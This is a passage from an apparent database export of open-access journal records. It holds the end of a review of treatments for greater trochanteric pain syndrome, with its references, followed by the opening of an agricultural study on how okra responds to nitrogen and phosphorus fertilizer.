[11].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In the LEAP trial Mellor et al compared the effects of a programme of load management education plus exercise, corticosteroid injection use and no treatment on pain and global improvement in individuals with gluteal tendinopathy [2]. The study design was a prospective, three-arm, single-blinded, randomized clinical trial. Participants were individuals aged 35 to 70 years with lateral hip pain for more than three months, at least 4/10 on the pain numerical rating scale, and gluteal tendinopathy confirmed by clinical diagnosis and MRI, and with no GC injections in the previous 12 months, current physiotherapy, total hip replacement, or neurological conditions. Interventions included a physiotherapy led education and exercise programme of 14 sessions over 8 weeks (EDX; n=69), one CSI (n=66) and a wait and see approach (WS; n=69).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Primary outcomes were patient reported global rating of change in hip condition (on an 11-pointscale, dichitonized to success and non-success) and pain intensity in the past week (0=no pain; 10=worst pain) at 8 weeks, with long-term follow-up at 52 weeks.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Of 204 randomized participants (including 167 women, mean age 54.8 years (SD 8.8), 189 (92.6%) completed 52 weeks&rsquo; follow-up. Success on the global rating of change was reported at 8 weeks by 51/66 EDX; 38/65 CSI, and 20/68 WS participants. EDX and CSI had better global improvement scores than WS (risk difference 49.1%; 95%CI; 34.6% to 63.5%), number need to treat 2.0 (95%CI; 1.6-2.9); 29.2% (13.2% to 45.2%), 3.4 (2.2 to 7.6); respectively.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">EDX had better global improvement scores than CSI (19.9% (4.7% to 35.0%); 5.0 (2.9 to 21.1). At 8 weeks, reported pain on the numerical scale was mean score 1.5 (SD 1.5) for EDX, 2.7 (2.4) for CSI and 3.8 (2.0) for WS. EDX and CSI participants reported less pain than WS (mean difference -2.2; 95%CI -2.89 to -1.54); -1.2 (-1.85 to -0.50), respectively) and EDX participants reported less pain than CSI (-1.04; -1.72 to -0.37). Success at the global rating scale of change was reported at 52 weeks by 51/65 EDX, 36/63 CSI and 31/60 WS participants. EDX was better than CSI (20.4% (4.9% to 35.9%); 4.9(2.8 to 20.6) and WS (28.6% (11.3% to 42.3%); 3.7 (2.4 to 8.8). Reported pain at 52 weeks was 2.1 (2.2) for EDX, 2.3 (1.9) for CSI, and 3.2 (2.6) for WS; EDX did not differ from CSI (-0.26 (-1.06 to 0.55), but both treatments did better than WS (1.13 (-1.93 to -0.33); 0.87 (-1.68 to -0.07), respectively.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The authors conclude that for gluteal tendinopathy education plus exercise and corticosteroid injection use result in higher rates of global improvement and lower pain intensity than no treatment at 8 weeks. Education plus exercise performed better than corticosteroid injection at 52 wees follow-up, education plus exercise led to better global improvement than corticosteroid injection, but no difference in pain intensity. These results support EDX as an effective management approach for gluteal tendinopathy.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>7. Ultrasound therapy</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">While ultrasound is widely used in GTPS as a diagnostic imaging modality or in ultrasound guided CSI, there is a paucity of information about its use as a therapeutic modality. Xiu et al, performed a systematic review and meta-analysis of several databases on the effectiveness of ultrasound on patients with myofascial pain syndrome on pain and range of motion [12]. The results showed that ultrasound significantly reduced pain intensity and improved pain thresholds, but has no effect on the range of motion. The risk of bias in the reviewed studies was high. These results don&rsquo;t support a role for ultrasound therapy in the treatment of GTPS.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>8. Shockwave therapy (ESWT)</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Several studies reported extracorporeal shockwave therapy (ESWT) as a suitable alternative treatment option for refractory GTPS with satisfactory long-term maintenance [13-16]. However, these studies included clinically diagnosed GTPS. Seo et al, investigated 38 patients with MRI-documented GTPS, who underwent low-energy ESWT once per week and followed Numeric Rating Scale (NRS) before and 1 week and 27 months&rsquo; follow-up. Success rates were 83.3% (immediate) and 53.3% long-term, respectively. Study design was bad, however and no ESWT energy levels were given.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Uncertainties about frequency and energy levels of ESWT for GTPS lead to the start of the ESTATE trial in which the dose-related effect of focalized shockwave treatment at different total energy influx in patients with chronic GTPS will be studied, as prior studies showed favorable results [13-17]. Shockwave has been widely recognized in the literature as a biologic regulator. Currently, the biological effects of shockwaves can be obtained using lower energy than in the past [18].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">While the intensity of the delivered energy is considered by some researchers to be a key factor for successful treatment, debate over the appropriate energy and the total delivered energy that could be applied to the tissue, continues. Higher intensity treatments usually require local anesthesia, which is known to reduce the efficacy of treatment. Furthermore, some animal tests reported that an influx of energy of over 0.60mJ/mm<sup>2</sup> can cause permanent damage on the tendon. On the other hand, low-intensity energy is safer but has the disadvantage of lower treatment effects. The ESTATE investigators hypothesize that a very low intensity protocol of ESWT has different effects on pain and function than a conventional protocol in patients with GTPS [19].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>9. Hyaluronic acid</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Hyaluronic acid (HA) is believed to be chondroprotective, increase proteoglycan and glycosaminoglycan synthesis and act as an anti-inflammatory agent. These effects are thought to be caused by HA binding to a cluster of differentiation CD44 receptors [20]. HA has been used predominantly in knee and hip osteoarthritis [21-23]. Results suggest favorable outcomes in pain scores in small heterogeneous studies with smaller treatment effects in higher quality studies [22,23].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Pereira et al, compared the safety and efficacy of HA injections to CSI for the treatment of GTPS in a two-arm, prospective trial of 47 GTPS patients. No significant differences in improvements of pain scores were found after 1, 3 and 6 months in both treatment groups [24].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Gorelick et al. assessed the efficacy and safety of single HA injections in 92 diabetic patients (74 females, 18 male) in an uncontrolled study [25] Pain scores improved at 6 months and one year and they concluded these results were similar to those of HA injections in the general population. Large RCTs studying HA injections in GTPS are lacking, as is the rational for injecting unstandardized viscosupplemental therapy in the bursa of a tendinopathy.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>10. Platelet-rich plasma (PRP)</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">PRP is a volume of autologous plasma that exhibits a platelet concentration above baseline levels and is rich in platelet-derived growth factors (PDGFs) [26-28]. PRP is prepared by centrifugation [28] or apheresis [29].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Lately, PRP has become very popular among the orthopedic community as a minimally invasive way of enhancing tissue repair in different conditions including rotator cuff repair [30,31] patellar tendinopathy [32,33], knee osteoarthritis [34] and lateral epicondylitis [35]. It is not surprising PPR has also been used in the treatment of GTPS.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Ali et al, performed a search of NICE healthcare database until April 2018 [36]. Five full text articles were included for analysis consisting of three RCTs and two case series. Also, 4 conference abstracts were selected. In total this survey consisted of 209 patients. The mean age was 58.4 years (range 48-76.2 years) the majority of patients were females and the minimum duration of symptoms was three months. Diagnosis was made using ultrasound or MRI. Included studies used a variety of outcome measures. Improvement was observed during the first 3 months after injection. Significant improvement was also noted when patients were followed up till 12 months.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">This review highlights the lack of adequately powered studies providing high-quality evidence, especially when the global pathology of GTPS is considered. Quite often the pathology may be in the gluteus medius and minimus and not in the bursa. Therefore, the site of injection needs to be considered. In addition, the use of different PRP systems, concentrations and volumes causes heterogeneity of the studies. Due to these limitations, the definite role for PRP in GTPS is still open for debate. Further large-sample, high-quality RCTs are needed to provide evidence of the efficacy of PRP in GTPS.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>11. Surgery</strong></span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Sometimes gluteal loading exercise may not improve GTPS [37,38].In these cases, surgery may be an option. In patients with chronic recalcitrant trochanteric bursitis, endoscopic bursectomy is an effective and viable alternative to open bursectomy [39].</span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>12. Conclusion</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GTPS is caused by gluteal tendinopathies sometimes with adjacent trochanteric bursitis. Optimal management of GTPS remains unclear, but education plus exercise performs better than corticosteroid injections after 1-year follow-up [2]. Shockwave therapy (ESWT) shows favorable results in small studies, but larger studies should define low-intensity energy levels and its effect on pain and function in e.g. the ESTATE trial [19]. There is no hard evidence for the use of injections with hyaluronic acid (HA), platelet-rich plasma (PRP), or both, in patients with GTPS [36]. In cases of chronic recalcitrant trochanteric bursitis endoscopic bursectomy is an effective and viable alternative to open bursectomy [39]. At this time, most cases of GTPS will be well managed with exercise and education [2]. Looking for the future, shockwave therapy seems the most promising additional treatment.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.jwatch.org/na46692/2018/06/05/what-best-treatment-approach-greater-trochanteric-pain\">Mueller PS (2018) What Is the Best Treatment Approach for Greater Trochanteric Pain Syndrome?</a></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.jwatch.org/na46692/2018/06/05/what-best-treatment-approach-greater-trochanteric-pain\">NEJM, Journal Watch June 5.</a></span></span></p>\r\n\r\n<ol start=\"2\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.bmj.com/content/361/bmj.k1662\">Mellor R (2018) Education plus exercise versus corticosteroid versus a wait and see approach on global outcome and pain from gluteal tendinopathy: Prospective, single blinded, randomized clinical trial. BMJ May 2; 361: k1662.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1136/bjsports-2015-095858\">Baratt PA, Brookes N, Newson A (2016) Conservative treatments for greater trochanteric pain syndrome: a systematic review. Br J Sports Med 51: 97-104.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1136/postgradmedj-2013-131828\">Chowdhury R, Naaseri S, Lee J (2014) Imaging and management of greater trochanteric pain syndrome.</a></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1136/postgradmedj-2013-131828\">Postgrade Med J 90: 567-581.</a></span></span></p>\r\n\r\n<ol start=\"5\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15808035\">Lievense A, Bierma-Zeinstra S, Schouten B (2005) Prognosis of trochanteric pain in primary care.</a></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15808035\">Br J Gen Pract 55: 199-204.</a></span></span></p>\r\n\r\n<ol start=\"6\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.jocn.2018.04.030\">Tan LA, Banki B, Tuchman A (2018) High prevalence of greater trochanteric pain syndrome among patients presenting to spine clinic for evaluation of degenerative lumbar pathologies. J Clin Neurosci 53: 88-91.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Bruckner P, Khan K (2012) Bruckner and Kahn&rsquo;s clinical sports medicine. Mc Craw-Hill, North Ryde NSW2.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1136/bjsports-2016-096175\">Grimaldi A, Mellor R, Nicholson P (2016) Utility of clinical tests to diagnose MRI-confirmed gluteal tendinopathy in patients presenting with lateral hip pain. Br J Sports Med 51: 519-524.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1186/s12891-016-1043-6\">Mellor R, Grimaldi, Wajshwelner H (2016) Exercise and load modification versus corticosteroid injection versus &lsquo;wait and see&rsquo; for persistent gluteus medius/minimus tendinopathy (the LEAP trial): a protocol for a randomized clinical trial. BMC Musculoskeletal Disord 17: 196.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1136/bjsports-2012-091565\">Fearon AM, Scarvell JM, Neeman T (2013) Greater trochanteric pain syndrome: defining the syndrome.</a></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1136/bjsports-2012-091565\">Br J Sports Med 47: 649-653.</a></span></span></p>\r\n\r\n<ol start=\"11\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.researchgate.net/profile/Michael_Nissen/publication/327943613_Glucocorticoid_injections_for_greater_trochanteric_pain_syndrome_a_randomised_double-blind_placebo-controlled_GLUTEAL_trial/links/5bb1daf6a6fdccd3cb80aac3/Glucocorticoid-injections-f\">Nissen MJ, Brulhart L, Fakundez A (2018) Glucocorticoid injections for greater trochanteric pain syndrome: a randomized double -blind placebo-controlled (GLUTEAL) trial. Clin Rheumatol.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.2147/jpr.s131482\">Xia P, Wang X, Lin Q (2017) Effectiveness of ultrasound therapy for myofascial pain syndrome: a systematic review and meta-analysis. J Pain Res 10: 545-555.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1177/0363546514531911\">Mani-Babu S, Morrisey D, Waugh C (2015) The effectiveness of extracorporeal shockwave therapy in lower limb tendinopathy: a systematic review. Am J Sports Med 43: 752-761.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1177/0363546509334374\">Rompe JD, Segal NR, Cucchio A (2009) Home training,local corticosteroid injection, or radial shock wave therapy for greater trochanteric pain syndrome. Am J Sports Med 37: 1981-1990.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1177/0363546509333014\">Fucia JP, Rompe JD, Maffulli N (2009) Low-energy extracorporeal shockwave therapy as a treatment of greater trochanteric pain syndrome. Am J Sports Med 37: 1806-1813.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/28954794\">Korakis V, Whiteley R, Tzovera A (2018) The effectiveness of extracorporeal shockwave therapy in common lower limb conditions: a systematic review including quantification of patient-rated pain reduction.</a></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/28954794\">Br J Sports Med 52: 387-407.</a></span></span></p>\r\n\r\n<ol start=\"17\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1371/journal.pone.0197460\">Seo KH, Lee JY, Yoon K (2018) Long-term outcome of low-energy extracorporeal shockwave therapy on gluteal tendinopathy documented by magnetic resonance imaging. PloS One 13: e197460.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.lupinepublishers.com/medical-science-journal/pdf/LOJMS.MS.ID.000106.pdf\">Naafs MA (2018) Shockwave Therapy in Atherosclerosis. LOJ Med Sci 1: LOMJS;MS.ID 000106.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://clinicaltrials.gov/ct2/show/NCT03338465\">Vulpiani MC (2017) Extracorporeal Shockwave Treatment for Greater Trochanteric Pain Syndrome (ESTATE) 9: Clin Trials Gov NCT03338465.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1186/s12891-015-0775-z\">Altman RD, Manjoo A, Fierlinger A (2015) The mechanism of action for hyaluronic acid treatment in the osteoarthritic knee: a systematic review. BMC Musculoskeletal.Disord 16: 321.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1177/0363546515609599\">Altman RD, Bedi A, Karlsson J (2016) Product differences in intra-articular Hyaluronic Acids for Osteoarthritis of the knee. Am J Sports Med 44: 2158-2165.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.2147/jpr.s83076\">Strand V, McIntyre LF, Beach WR (2015) Safety and efficacy of U.S. approved viscosupplements for knee osteoarthritis: a systematic review and meta-analysis of randomized saline- controlled trials. J Pain Res 8: 217-218.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1186/s12891-016-1359-2\">Eymard F, Maillet B, Le Bouche H (2017) Predictors of response to viscosupplementation in patients with hip osteoarthritis: results of a prospective, observational, multicenter, open label pilot study. BMC Musculoskeletal Disord 18: 3.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"doi:10.4236/ojra.2015.53010\">Pereira AA, Lopez BM, de la Serna AR (2015) A Comparative Study between Hyaluronic Acid and Corticosteroids for the Treatment of the Greater Trochanteric Pain Syndrome. Open J Rheumatol Autoimmun Dis 5: 3.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Gorelick L, Rozuno-Gorelick A, Saab A (2014) Results of Treatment of Greater Trochanteric Pain Syndrome in Diabetic Patients by Single Hyaluronic Acid Injection. BEST Int J Hum Arts Med Sci 2: 53-60.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1097/01.prs.0000138251.07040.51\">Eppley BL, Woodell JE, Higgins J (2004) Platelet quantification and growth factor analysis from platelet-rich plasma: implications for wound healing. Plast Reconstr Surg 114: 1502-1508.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/s1079-2104(98)90029-4\">Marx RE, Carlson ER, Eichstaedt RM (1998) Platelet -rich plasma: Growth factor enhancement for bone grafts. Oral Surg Oral Med Oral Pathol Oral Radiol Endod 85: 636-646.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/s0278-2391(00)90058-2\">Landesberg R, Roy M, Glickman RS (2000) Quantification of growth factor levels using a simplified method of platelet-rich plasma gel preparation. Oral Maxilofac Surg 58: 297-300.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/s0278-2391(97)90187-7\">Whitman DH, Berry RL, Green DM (1997) Platelet gel: an autologous alternative to fibrin glue with applications on oral and maxillofacial surgery. Maxilofac Surg 55: 1294-1299.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1177/0363546510390780\">Castricini R, Longo UG, de Bennedetto M (2010) Platelet-rich plasma augmentation for arthroscopic rotator cuff repair: a randomized controlled trial. Am J Sports Med 3: 258-265.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1159/000328904\">Mei-Dan O, Carmant MR (2012) Autologous blood products in rotator cuff repair. Med Sport Sci 57: 65-75.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1034/j.1600-0838.2000.010001002.x\">Coleman BD, Khan KM, Maffuli N (2000) Studies of surgical outcome after patellar tendinopathy: clinical significance of methodological deficiencies and guidelines for future studies. Victorian Institute of Sport Tendon Study Group. Scand J Med Sic Sports 10: 2-11.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1177/0363546514560726\">Liddle AD, Rodriquez-Merchau EC (2015) Platelet-rich plasma in the treatment of patellar tendinopathy: a systematic review. Am J Sports Med 43: 2583-2590.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.arthro.2015.08.005\">Meheux CJ, Mc Culloch PC, Lintner DM (2016) Efficacy of intra-articular platelet-rich plasma injections in knee osteoarthritis: a systematic review. Arthroscopy 32: 495-505.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1177/0363546513494359\">Mishra AK, Skrepnik NV, Edwards SG (2014) Efficacy of platelet-rich plasma for chronic tennis elbow: a double blind, prospective, multicenter, randomized controlled trial of 230 patients. Am J Sports Med 42: 463-471.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1093/jhps/hny027\">Ali M, Oderuth E, Atchia I (2018) The use of platelet-rich plasma in the treatment of greater trochanteric pain syndrome: a systematic literature review. J Hip Preserv Surg 5: 209-219.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.clinicalpainadvisor.com/sports-overuse-injury/greater-trochanteric-pain-syndrome-hip-pain-gluteal-loading-exercise/article/766911/\">May B (2018) Gluteal Loading Exercise May Not Improve Greater Trochanteric Pain Syndrome.</a></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.clinicalpainadvisor.com/sports-overuse-injury/greater-trochanteric-pain-syndrome-hip-pain-gluteal-loading-exercise/article/766911/\">Clinical Pain Advisor.</a></span></span></p>\r\n\r\n<ol start=\"38\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1089/jwh.2017.6729\">Ganderton C, Semciw A, Cok J (2018) Gluteal loading versus sham exercises to improve pain and dysfunction in postmenopausal women with greater trochanteric pain syndrome: A randomized controlled trial. J Womens Health 27: 815-829.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.eats.2016.07.005\">Mitchell J, Chahla J, Yap A (2016) Endoscopic Trochanteric Bursectomy and Iliotibial Band Release for Persistent Trochanteric Bursitis. Arthrosc Tech &nbsp;5: e1185-e1189.</a></span></span></li>\r\n</ol>\r\n','','<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Naafs MAB (2018) Developments for the Greater Trochanteric Pain Syndrome (GTPS). J Sports Sci Physical Ther: JSSPT-103.</span></span></p>\r\n','','1542722202.pdf',NULL,'1542722202.jpg','',0,1,'2018-11-20 19:26:42','2018-11-20 19:34:15',1),(24,35,'20','2018','Response of Okra to Various Levels of Applied Nitrogen and Phosphorus Fertilizers','Zeeshan Ali2, Muhammad Waseem Abbas*1, Hazrat Amin2, Farhan Ahmad1, Maaz Khan1, Junaid Ahmad1, Atta Ullah Khan2 and Asif Khan3','Research Article','Response-of-Okra-to-Various-Levels-of-Applied-Nitrogen-and-Phosphorus-Fertilizers','Response-of-Okra-to-Various-Levels-of-Applied Nitrogen and Phosphorus Fertilizers','Response of Okra to Various Levels-of-Applied-Nitrogen-and-Phosphorus-Fertilizers','Response-of-Okra-to-Various-Levels-of-Applied-Nitrogen-and-Phosphorus-Fertilizers','<h2 style=\"text-align:center\"><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Open Access Journal of Agriculture Research</strong></span></span></h2>\r\n\r\n<h3 style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Response of Okra to Various Levels of Applied Nitrogen and Phosphorus Fertilizers</strong></span></span></h3>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Zeeshan Ali2, Muhammad Waseem Abbas*1, Hazrat Amin2, Farhan Ahmad1, Maaz Khan1, Junaid Ahmad1, Atta Ullah Khan2 and Asif Khan3</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">1Department of Agronomy, University of Agriculture, Peshawar, Pakistan</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">2*Department of Soil and Environmental Sciences, University of Agriculture, Peshawar, Pakistan</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">*Corresponding author: Zeeshan Ali, Department of Soil and Environmental Sciences, University of Agriculture, Peshawar, Pakistan. Tel: +923469487788. Email: alizeeshan1203@gmail.com</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Citation: Ali Z (2018) Response of Okra to Various Levels of Applied Nitrogen and Phosphorus Fertilizers. Open Acc J Agri Res: OAJAR-100012.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Received Date: October 24, 2018; Accepted Date: November 15, 2018; Published Date: November 22, 2018</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Abstract</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">To determine the effects of the different amount of fertilization (Nitrogen and Phosphorus) on Okra (<em>Abelmoschusesculentus</em> L.), a field trial was conducted at Soil and Water Testing Laboratory, Charsadda in April 2017. The composite sample was taken for comparison. N and P<sub>2</sub>O<sub>5</sub> fertilizers were applied at the rate of 0-0, 100-20, 100-40, 100-60, 100-90 kg ha<sup>-1</sup> from Urea and Single Super Phosphate, respectively. Results revealed that the combination of different treatments showed a significant effect on yield and yield parameters of okra crop. Results revealed that Okra give significant maximum yield (11.85 T ha<sup>-1</sup>) at (100-40 kg ha<sup>-1</sup> N-P), Plant height (91.44 cm) at of 100-90 kg ha<sup>-1</sup> N-P, Number of leaves Plant<sup>-1</sup> (43.67) at 100-90 kg ha<sup>-1</sup> N-P, Branches plant<sup>-1</sup> (8.33) at 100-40 kg ha<sup>-1</sup> N-P, Days to flowering (66.33) at 100-90 kg ha<sup>-1</sup> N-P, Survival percentage (88.24 %) at 100-20 kg ha<sup>-1</sup> N-P and Single Pod Weigh (13.53 g) at 100-90 kg ha<sup>-1</sup> N-P fertilization rate. The optimum response of okra was achieved at 100-40 kg ha<sup>-1</sup> dose of nitrogen and phosphorus fertilizers followed by 100-60 kgha<sup>-1</sup>. Finally, it was concluded from the trial that, the dose of 100-40 N, P<sub>2</sub>O<sub>5</sub> kg ha<sup>-1</sup> was found useful for okra crop in terms of growth and yield under the prevailing conditions of 